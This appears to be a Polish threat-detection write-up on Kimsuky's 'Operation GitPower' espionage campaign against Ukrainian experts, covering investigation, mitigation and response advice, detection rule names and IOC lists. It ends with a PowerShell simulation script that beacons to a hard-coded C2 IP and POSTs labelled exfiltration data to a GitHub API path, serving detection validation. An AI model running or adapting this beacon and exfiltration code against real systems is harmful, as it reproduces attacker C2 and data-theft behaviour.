Operacja GitPower: szpiegostwo Kimsuky przeciwko Ukrainie
Detection stack
- AIDR
- Alert
- ETL
- Query
Podsumowanie
Kimsuky obecnie prowadzi cyber-espionage przeciwko ukraińskim ekspertom w dziedzinie dyplomacji, bezpieczeństwa i polityki międzynarodowej. Kampania znana jako Operacja GitPower opiera się na spear phishingu polegającym na odpowiedzi na wabiki i nadużywa legalnych platform deweloperskich, takich jak GitHub, GitLab i Codeberg, w celu dostarczenia złośliwego oprogramowania. Atakujący zaczęli również wykorzystywać narzędzia AI do tworzenia dokumentów wirtualnych i automatyzacji procesów ataku.
Śledztwo
Śledczy przeanalizowali wiele etapów ataku, w tym złośliwe pliki LNK podszywające się pod PDF-y i fałszywe instalatory Zoom. Prześledzili wieloetapowy przepływ wykonania, w którym skrypty VBScript i PowerShell ustanowili trwałość przez zaplanowane zadania. Grupa używa zakodowanych na stałe serwerów C2 oraz API GitHub do przeprowadzenia eksfiltracji danych.
Łagodzenie skutków
Organizacje powinny wzmocnić zdolności wykrywania EDR i łowiectwa zagrożeń ukierunkowane na nadużywanie plików LNK, PowerShell oraz legalnych usług deweloperskich w chmurze. Zaleca się ścisłe monitorowanie nietypowych zaplanowanych zadań i nieautoryzowanych wywołań API do GitHub i GitLab. Użytkownicy powinni być szkoleni w rozpoznawaniu zaawansowanych taktyk inżynierii społecznej wykorzystujących odpowiedzi na wabiki.
Reakcja
Po wykryciu, osoby reagujące powinny odizolować dotknięte punkty końcowe, aby zatrzymać dalszą eksfiltrację danych za pośrednictwem zidentyfikowanych kanałów C2 TCP lub GitHub. Analitycy powinni poszukać nieautoryzowanych zaplanowanych zadań i sprawdzić katalog C:UsersPublic w poszukiwaniu złośliwych plików VBS/PS1. Konieczne jest skorelowanie wykonania plików LNK z późniejszymi połączeniami sieciowymi do legalnych usług w chmurze.
Przepływ ataku
Ciągle aktualizujemy tę część.
Wykrycia
Możliwy złośliwy plik LNK z podwójnym rozszerzeniem (za pomocą cmdline)
Powershell uruchamia plik w podejrzanym katalogu z wykorzystaniem polisy obejścia wykonania (za pomocą cmdline)
Zadania zaplanowane wskazują na podejrzany katalog / plik binarny / skrypt (za pomocą cmdline)
LOLBAS WScript / CScript (za pomocą process_creation)
Podejrzane wykonanie z profilu użytkownika publicznego (za pomocą process_creation)
Podejrzane użycie CURL (za pomocą cmdline)
Podejrzane użycie Invoke-RestMethod (za pomocą powershell)
Wywołanie podejrzanych metod .NET z PowerShell (za pomocą powershell)
Możliwe pobieranie pliku z Github zainicjowane przez nietypowy proces (za pomocą network_connection)
Podejrzane pliki w publicznym profilu użytkownika (za pomocą file_event)
IOCs (HashMd5) do wykrycia: Operacja GitPower Kimsuky celująca w Ukrainę, część 4
IOCs (HashMd5) do wykrycia: Operacja GitPower Kimsuky celująca w Ukrainę, część 3
IOCs (HashMd5) do wykrycia: Operacja GitPower Kimsuky celująca w Ukrainę, część 2
IOCs (HashMd5) do wykrycia: Operacja GitPower Kimsuky celująca w Ukrainę, część 1
IOCs (SourceIP) do wykrycia: Operacja GitPower Kimsuky celująca w Ukrainę
IOCs (DestinationIP) do wykrycia: Operacja GitPower Kimsuky celująca w Ukrainę
Wykrycie połączenia TCP C2 i eksfiltracji bazującej na GitHub w aktywności Kimsuky [Połączenie sieciowe Windows]
Wykrycie zaplanowanego zadania GoogleUpdateTaskMachineUA do wykonania złośliwego skryptu [Windows Sysmon]
Pliki LNK używane do uruchamiania złośliwych skryptów PowerShell z zaciemnieniem i trwałością [Tworzenie procesów Windows]
Symulacja wykonania
-
Narracja i Komendy Ataku: Przeciwnik dąży do ustanowienia komunikacji C2 i eksfiltracji wrażliwych danych przez GitHub. Najpierw atakujący ustanawia połączenie TCP z zakodowanym na stałe adresem IP C2
111.92.246.145na porcie12345w celu zasygnalizowania gotowości. Po drugie, aby uniknąć wykrycia przez tradycyjne monitorowanie transferu danych, atakujący używa podejścia „życie z zasobów systemu” przesyłając skradziony dokument do repozytorium GitHub za pomocą API GitHub Contents, specyficznie naśladując agenta użytkownika KimsukyGitHub-API/1.0. -
Skrypt testu regresyjnego:
# Skrypt symulacji do walidacji wykrycia Kimsuky Write-Host "[+] Rozpoczęcie symulacji Kimsuky..." -ForegroundColor Cyan # 1. Symulacja połączenia C2 (TCP 111.92.246.145:12345) Write-Host "[+] Próba połączenia C2 z 111.92.246.145:12345" -ForegroundColor Yellow try { $tcpClient = New-Object System.Net.Sockets.TcpClient $connection = $tcpClient.BeginConnect("111.92.246.145", 12345, $null, $null) # Stosujemy krótki timeout, aby skrypt się nie zawiesił, jeśli IP jest niedostępne $success = $connection.AsyncWaitHandle.WaitOne(2000, $false) if (-not $success) { Write-Host "[!] Połączenie nieudane (oczekiwane, jeśli IP jest offline), ale telemetryka nadal powinna być zanotowana przez Sysmon." -ForegroundColor Gray } $tcpClient.Close() } catch { Write-Host "[!] Błąd podczas symulacji C2: $($_.Exception.Message)" -ForegroundColor Red } # 2. Symulacja eksfiltracji GitHub (POST do API GitHub z określonym agentem użytkownika) Write-Host "[+] Próba symulacji eksfiltracji API GitHub..." -ForegroundColor Yellow $githubUri = "https://github.com/repos/test-attacker/exfil-repo/contents/stolen_data.txt" $userAgent = "GitHub-API/1.0" $headers = @{ "Authorization" = "token FAKE_TOKEN_FOR_TESTING" "Content-Type" = "application/json" } $body = @{ "message" = "Exfiltracja danych" "content" = "SGVsbG8gV29ybGQ=" # Base64 dla "Hello World" } | ConvertTo-Json try { # Używamy -UserAgent, aby wywołać specyficzną logikę wykrywania Invoke-RestMethod -Uri $githubUri -Method Post -Headers $headers -Body $body -UserAgent $userAgent } catch { Write-Host "[!] Żądanie HTTP zakończone (Oczekiwane 404/401 dla fałszywego URL, ale agent użytkownika został wysłany)." -ForegroundColor Gray } Write-Host "[+] Symulacja zakończona." -ForegroundColor Cyan -
Polecenia czyszczenia:
# Żadne trwałe artefakty nie zostały stworzone przez ten skrypt symulacji. # Jeśli jakiekolwiek lokalne pliki zostały użyte do zawartości, powinny być usunięte: Remove-Item -Path ".stolen_data.txt" -ErrorAction SilentlyContinue Write-Host "[+] Czyszczenie zakończone." -ForegroundColor Green